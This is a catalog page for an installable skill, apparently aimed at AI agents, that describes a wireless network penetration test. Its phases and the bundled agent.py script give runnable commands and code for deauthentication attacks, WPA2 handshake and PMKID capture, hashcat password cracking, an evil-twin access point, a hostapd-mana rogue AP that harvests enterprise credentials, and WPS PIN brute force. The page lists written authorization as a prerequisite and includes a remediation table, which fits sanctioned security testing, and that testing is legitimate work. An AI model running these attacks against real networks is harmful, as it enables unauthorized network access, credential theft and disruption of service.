Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
Overview
Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.
When to Use
- When conducting security assessments that involve performing wireless network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
- Physical proximity to target wireless networks
- GPS receiver for mapping (optional)
Phase 1 — Wireless Reconnaissance
Enable Monitor Mode
# Check wireless interfaces
iwconfig
airmon-ng
# Kill interfering processes
airmon-ng check kill
# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon
# Verify monitor mode
iwconfig wlan0monPassive Scanning
# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan
# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan
# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan
# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501Network Inventory
| SSID | BSSID | Channel | Encryption | Clients | Signal |
|---|---|---|---|---|---|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
Phase 2 — WPA2-PSK Attack
Capture 4-Way Handshake
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in outputCrack WPA2 Key
# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txtPhase 3 — WPA2-Enterprise Attack
# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
# EAP user file
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
hostapd-mana hostapd-mana.conf
# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txtPhase 4 — Evil Twin Attack
# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon
# Within Bettercap:
wifi.recon on
wifi.ap
# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
--address=/#/192.168.1.1
# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0monPhase 5 — Additional Tests
Rogue AP Detection
# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs
# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settingsClient Isolation Testing
# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24
# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24
# Test VLAN hopping
# If guest network is not properly segmented from corporateWPS Attack
# Check for WPS-enabled APs
wash -i wlan0mon
# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vvFindings Template
| Finding | Severity | CVSS | Remediation |
|---|---|---|---|
| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |
| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2/WPA3, segment printer VLAN |
| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |
| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |
| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS/WIPS, implement 802.1X with cert validation |
| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |
References
- Aircrack-ng Documentation: https://www.aircrack-ng.org/doku.php
- CISA Aircrack-ng: https://www.cisa.gov/resources-tools/services/aircrack-ng
- WiFi Alliance WPA3 Specification: https://www.wi-fi.org/discover-wi-fi/security
- NIST SP 800-153: Guidelines for Securing WLANs
- Hashcat WPA modes: https://hashcat.net/wiki/doku.php?id=example_hashes
Source materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.4 KB
API Reference: Wireless Network Penetration Testing
Aircrack-ng Suite
| Tool | Description |
|---|---|
airmon-ng start <iface> |
Enable monitor mode |
airodump-ng <mon_iface> |
Scan for wireless networks |
airodump-ng --bssid <bssid> -c <ch> -w <prefix> <iface> |
Capture handshake |
aireplay-ng -0 5 -a <bssid> <iface> |
Deauthentication attack |
aircrack-ng <cap> -w <wordlist> |
Crack WPA/WPA2 handshake |
wash -i <iface> |
Detect WPS-enabled APs |
reaver -i <iface> -b <bssid> |
WPS PIN brute force |
airodump-ng CSV Fields
| Column | Description |
|---|---|
| BSSID | Access point MAC address |
| Channel | Operating channel |
| Encryption | WPA2, WPA, WEP, OPN |
| ESSID | Network name |
| Power | Signal strength (dBm) |
Encryption Risk Levels
| Encryption | Risk |
|---|---|
| Open (OPN) | Critical - No encryption |
| WEP | Critical - Easily crackable |
| WPA (TKIP) | High - Deprecated |
| WPA2 (CCMP) | Medium - Dictionary attacks |
| WPA3 (SAE) | Low - Current standard |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
subprocess |
stdlib | Execute aircrack-ng tools |
re |
stdlib | Parse tool output |
csv |
stdlib | Parse airodump CSV |
References
- Aircrack-ng: https://www.aircrack-ng.org/doku.php
- Reaver: https://github.com/t6x/reaver-wps-fork-t6x
- WiFi Pineapple: https://www.hak5.org/products/wifi-pineapple
standards.md1.0 KB
Standards — Wireless Penetration Testing
Standards
- IEEE 802.11: Wireless LAN standard
- WPA3 (WiFi Protected Access 3): Latest security protocol using SAE
- NIST SP 800-153: Guidelines for Securing Wireless Local Area Networks
- PCI DSS v4.0 Req 11.2: Wireless access point detection
Wireless Encryption Comparison
| Protocol | Key Management | Crackable | Notes |
|---|---|---|---|
| WEP | Static IV | Trivially | Deprecated, never use |
| WPA-TKIP | PSK/Enterprise | Possible | Legacy, avoid |
| WPA2-PSK | PBKDF2/CCMP | Dictionary attacks | Requires strong passphrase |
| WPA2-Enterprise | 802.1X/RADIUS | Certificate attacks | Recommended with cert pinning |
| WPA3-SAE | Dragonfly handshake | Resistant | Best current option |
Tools
| Tool | Purpose |
|---|---|
| Aircrack-ng | Full wireless testing suite |
| Kismet | Wireless IDS and scanner |
| Bettercap | Network attack framework |
| Wifite | Automated WiFi attack tool |
| hcxdumptool | PMKID capture |
| Reaver | WPS PIN bruteforce |
workflows.md0.9 KB
Workflows — Wireless Penetration Testing
Attack Flow
Monitor Mode Activation
│
├── Passive Reconnaissance
│ ├── SSID/BSSID discovery
│ ├── Client enumeration
│ └── Channel mapping
│
├── WPA2-PSK Attacks
│ ├── Handshake capture (deauth + capture)
│ ├── PMKID attack (clientless)
│ └── Offline cracking (Hashcat/Aircrack)
│
├── WPA2-Enterprise Attacks
│ ├── Rogue AP (hostapd-mana)
│ ├── EAP credential capture
│ └── MSCHAP hash cracking
│
├── Evil Twin / Captive Portal
│ ├── Clone SSID
│ ├── Deauth real AP
│ └── Credential harvest
│
└── Segmentation Testing
├── Client isolation
├── VLAN traversal
└── Corporate network reachScripts 2
agent.py5.5 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for wireless network penetration testing.
Runs aircrack-ng suite tools via subprocess for WiFi reconnaissance,
WPA handshake capture, deauthentication testing, and generates
a wireless security assessment report.
"""
import subprocess
import json
import sys
import re
from datetime import datetime
from pathlib import Path
class WirelessPentestAgent:
"""Automates wireless network penetration testing with aircrack-ng."""
def __init__(self, interface, output_dir="./wireless_pentest"):
self.interface = interface
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.networks = []
self.findings = []
def enable_monitor_mode(self):
"""Put wireless interface into monitor mode using airmon-ng."""
result = subprocess.run(
["airmon-ng", "start", self.interface],
capture_output=True, text=True, timeout=30)
mon_iface = f"{self.interface}mon"
match = re.search(r"monitor mode.*enabled on (\w+)", result.stdout)
if match:
mon_iface = match.group(1)
self.interface = mon_iface
return {"monitor_interface": mon_iface, "status": result.returncode}
def scan_networks(self, duration=30):
"""Scan for wireless networks using airodump-ng."""
csv_prefix = str(self.output_dir / "scan")
try:
subprocess.run(
["airodump-ng", self.interface, "-w", csv_prefix,
"--output-format", "csv", "--write-interval", "1"],
capture_output=True, text=True, timeout=duration)
except subprocess.TimeoutExpired:
pass
csv_file = Path(f"{csv_prefix}-01.csv")
if csv_file.exists():
self.networks = self._parse_airodump_csv(csv_file)
return self.networks
def _parse_airodump_csv(self, csv_path):
"""Parse airodump-ng CSV output for network details."""
networks = []
try:
lines = csv_path.read_text(errors="ignore").splitlines()
in_ap_section = False
for line in lines:
if "BSSID" in line and "channel" in line.lower():
in_ap_section = True
continue
if "Station MAC" in line:
break
if in_ap_section and line.strip():
parts = [p.strip() for p in line.split(",")]
if len(parts) >= 14:
enc = parts[5].strip()
networks.append({
"bssid": parts[0], "channel": parts[3],
"encryption": enc, "essid": parts[13],
"power": parts[8],
})
if enc in ("OPN", "WEP", ""):
self.findings.append({
"type": "Weak Encryption",
"severity": "Critical" if enc in ("OPN", "") else "High",
"bssid": parts[0], "essid": parts[13],
"encryption": enc or "Open",
})
except (IndexError, UnicodeDecodeError):
pass
return networks
def capture_handshake(self, bssid, channel, duration=60):
"""Capture WPA/WPA2 4-way handshake."""
cap_prefix = str(self.output_dir / "handshake")
try:
subprocess.run(
["airodump-ng", self.interface, "--bssid", bssid,
"-c", str(channel), "-w", cap_prefix],
capture_output=True, timeout=duration)
except subprocess.TimeoutExpired:
pass
cap_file = Path(f"{cap_prefix}-01.cap")
return {"capture_file": str(cap_file), "exists": cap_file.exists()}
def crack_handshake(self, cap_file, wordlist):
"""Attempt to crack WPA handshake with aircrack-ng."""
result = subprocess.run(
["aircrack-ng", cap_file, "-w", wordlist],
capture_output=True, text=True, timeout=600)
if "KEY FOUND" in result.stdout:
match = re.search(r"KEY FOUND! \[ (.+?) \]", result.stdout)
key = match.group(1) if match else "unknown"
self.findings.append({"type": "WPA Key Cracked",
"severity": "Critical", "key": key})
return {"cracked": True, "key": key}
return {"cracked": False}
def test_wps(self, bssid):
"""Test WPS PIN vulnerability using reaver/wash."""
result = subprocess.run(
["wash", "-i", self.interface], capture_output=True,
text=True, timeout=30)
wps_enabled = bssid in result.stdout
if wps_enabled:
self.findings.append({"type": "WPS Enabled", "severity": "High",
"bssid": bssid})
return {"wps_enabled": wps_enabled}
def generate_report(self):
report = {
"report_date": datetime.utcnow().isoformat(),
"interface": self.interface,
"networks_found": len(self.networks),
"findings": self.findings,
"networks": self.networks[:50],
}
print(json.dumps(report, indent=2))
return report
def main():
iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0"
agent = WirelessPentestAgent(iface)
agent.enable_monitor_mode()
agent.scan_networks(duration=30)
agent.generate_report()
if __name__ == "__main__":
main()
process.py7.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Wireless Penetration Test — Automation Process
Parses airodump-ng CSV output and generates wireless assessment reports.
Usage:
python process.py --scan-file scan-01.csv --authorized-aps authorized.txt --output ./results
"""
import csv
import json
import argparse
import datetime
from pathlib import Path
def parse_airodump_csv(csv_file: str) -> tuple[list[dict], list[dict]]:
"""Parse airodump-ng CSV output into APs and clients."""
aps = []
clients = []
section = "ap"
with open(csv_file, encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if not line:
continue
if "Station MAC" in line:
section = "client"
continue
if "BSSID" in line and section == "ap":
continue
fields = [f.strip() for f in line.split(",")]
if section == "ap" and len(fields) >= 14:
ap = {
"bssid": fields[0],
"first_seen": fields[1],
"last_seen": fields[2],
"channel": fields[3],
"speed": fields[4],
"privacy": fields[5],
"cipher": fields[6],
"authentication": fields[7],
"power": fields[8],
"beacons": fields[9],
"iv": fields[10],
"lan_ip": fields[11],
"id_length": fields[12],
"essid": fields[13] if len(fields) > 13 else "",
}
if ap["bssid"] and ap["bssid"] != "BSSID":
aps.append(ap)
elif section == "client" and len(fields) >= 6:
client = {
"station_mac": fields[0],
"first_seen": fields[1],
"last_seen": fields[2],
"power": fields[3],
"packets": fields[4],
"bssid": fields[5],
"probed_essids": fields[6] if len(fields) > 6 else "",
}
if client["station_mac"] and client["station_mac"] != "Station MAC":
clients.append(client)
return aps, clients
def detect_rogue_aps(aps: list[dict], authorized_file: str) -> list[dict]:
"""Compare discovered APs against authorized list."""
authorized_bssids = set()
try:
with open(authorized_file) as f:
for line in f:
bssid = line.strip().upper()
if bssid:
authorized_bssids.add(bssid)
except FileNotFoundError:
print(f"[-] Authorized AP file not found: {authorized_file}")
return []
rogue_aps = []
for ap in aps:
if ap["bssid"].upper() not in authorized_bssids:
rogue_aps.append(ap)
return rogue_aps
def assess_encryption(aps: list[dict]) -> list[dict]:
"""Assess encryption strength of discovered APs."""
findings = []
for ap in aps:
privacy = ap.get("privacy", "").upper()
finding = {
"essid": ap["essid"],
"bssid": ap["bssid"],
"encryption": privacy,
"severity": "Info",
"issue": None,
}
if "WEP" in privacy:
finding["severity"] = "Critical"
finding["issue"] = "WEP encryption is trivially crackable"
elif "OPN" in privacy or not privacy.strip():
finding["severity"] = "High"
finding["issue"] = "Open network with no encryption"
elif "WPA" in privacy and "TKIP" in ap.get("cipher", "").upper():
finding["severity"] = "Medium"
finding["issue"] = "TKIP cipher is deprecated"
elif "WPA2" in privacy and "PSK" in ap.get("authentication", "").upper():
finding["severity"] = "Low"
finding["issue"] = "WPA2-PSK susceptible to dictionary attacks"
elif "WPA3" in privacy:
finding["severity"] = "Info"
finding["issue"] = "WPA3-SAE provides strong protection"
if finding["issue"]:
findings.append(finding)
return findings
def generate_report(aps: list[dict], clients: list[dict],
rogue_aps: list[dict], findings: list[dict],
output_dir: Path) -> str:
"""Generate wireless assessment report."""
report_file = output_dir / "wireless_assessment_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
with open(report_file, "w") as f:
f.write("# Wireless Network Penetration Test Report\n\n")
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
f.write("## Network Discovery\n\n")
f.write(f"Total access points: **{len(aps)}**\n")
f.write(f"Total clients: **{len(clients)}**\n\n")
f.write("### Discovered Access Points\n\n")
f.write("| ESSID | BSSID | Channel | Encryption | Auth | Signal |\n")
f.write("|-------|-------|---------|-----------|------|--------|\n")
for ap in aps:
f.write(f"| {ap['essid']} | {ap['bssid']} | {ap['channel']} "
f"| {ap['privacy']} | {ap['authentication']} | {ap['power']}dBm |\n")
f.write("\n")
if rogue_aps:
f.write("## Rogue Access Points\n\n")
f.write(f"**{len(rogue_aps)} unauthorized APs detected**\n\n")
for rap in rogue_aps:
f.write(f"- **{rap['essid']}** ({rap['bssid']}) — Ch {rap['channel']}\n")
f.write("\n")
f.write("## Security Findings\n\n")
for finding in sorted(findings, key=lambda x: {"Critical": 0, "High": 1,
"Medium": 2, "Low": 3,
"Info": 4}.get(x["severity"], 5)):
f.write(f"### [{finding['severity']}] {finding['essid']}\n")
f.write(f"- BSSID: {finding['bssid']}\n")
f.write(f"- Issue: {finding['issue']}\n\n")
f.write("## Recommendations\n\n")
f.write("1. Upgrade all WEP/open networks to WPA2-Enterprise or WPA3\n")
f.write("2. Deploy WIDS/WIPS for rogue AP detection\n")
f.write("3. Use 20+ character passphrases for any remaining PSK networks\n")
f.write("4. Enable client isolation on guest networks\n")
f.write("5. Implement 802.1X with certificate validation\n")
print(f"[+] Report: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(description="Wireless Pentest Report Generator")
parser.add_argument("--scan-file", required=True, help="Airodump-ng CSV file")
parser.add_argument("--authorized-aps", help="File with authorized BSSIDs")
parser.add_argument("--output", default="./results")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
aps, clients = parse_airodump_csv(args.scan_file)
print(f"[+] Parsed {len(aps)} APs and {len(clients)} clients")
rogue_aps = []
if args.authorized_aps:
rogue_aps = detect_rogue_aps(aps, args.authorized_aps)
findings = assess_encryption(aps)
generate_report(aps, clients, rogue_aps, findings, output_dir)
if __name__ == "__main__":
main()
Assets 1
template.mdtext/markdown · 0.8 KBKeep exploring